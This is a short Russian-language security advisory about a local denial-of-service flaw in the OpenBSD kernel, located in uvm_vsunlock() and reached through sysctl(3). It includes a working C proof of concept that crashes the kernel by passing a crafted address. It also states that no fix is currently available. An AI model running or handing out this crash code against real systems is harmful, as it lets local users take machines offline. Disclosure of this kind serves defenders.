Локальный отказ в обслуживании в ядре OpenBSD

Описание: Уязвимость обнаружена в OpenBSD в функции sysctl(3). Локальный пользователь может аварийно завершить работу системы.

Локальный пользователь может вызвать sysctl(3) со специально сформированными параметрами, чтобы аварийно завершить работу ядра.

Недостаток расположен в 'uvm_glue.c' в uvm_vsunlock().

Пример/Эксплоит:

#include <stdio.h>
#include <sys/param.h>
#include <sys/sysctl.h>

int main ()
{
unsigned int blah[2] = { CTL_KERN, 0 }, addr = -4096 + 1;

return (sysctl (blah, 2, (void *) addr, &blah[1], 0, 0));
}

URL производителя: http://www.openbsd.org

Решение:Способов устранения обнаруженной уязвимости не существует в настоящее время.